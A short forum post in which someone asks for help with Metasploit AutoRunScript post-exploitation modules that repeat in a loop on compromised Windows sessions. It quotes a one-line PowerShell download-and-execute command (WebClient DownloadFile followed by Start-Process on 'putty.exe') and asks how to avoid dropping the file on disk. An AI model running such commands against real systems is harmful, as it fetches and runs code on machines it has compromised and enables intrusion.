Autorunscript Loop

I’m trying to run three diferente autorunscripts (one on each line) with

run post/windows/manage/exec_powershell SCRIPT=Path to the local PS1 script  runpost/windows/manage/powershell/exec_powershell SCRIPT=Path to the local PS script  run post/windows/manage/powershell/load_script SCRIPT=Path to the local PS script 

I suuceed to run them but the command keeps running over and over again after completed

how can I stop it once the script?

The ps1 script I’m running is

PowerShell (New-Object System.Net.WebClient).DownloadFile('','putty.exe');Start-Process 'putty.exe' 

wich drops the file to the desktop

can anyone tell how to drop it on a diferent location or not being droped at all?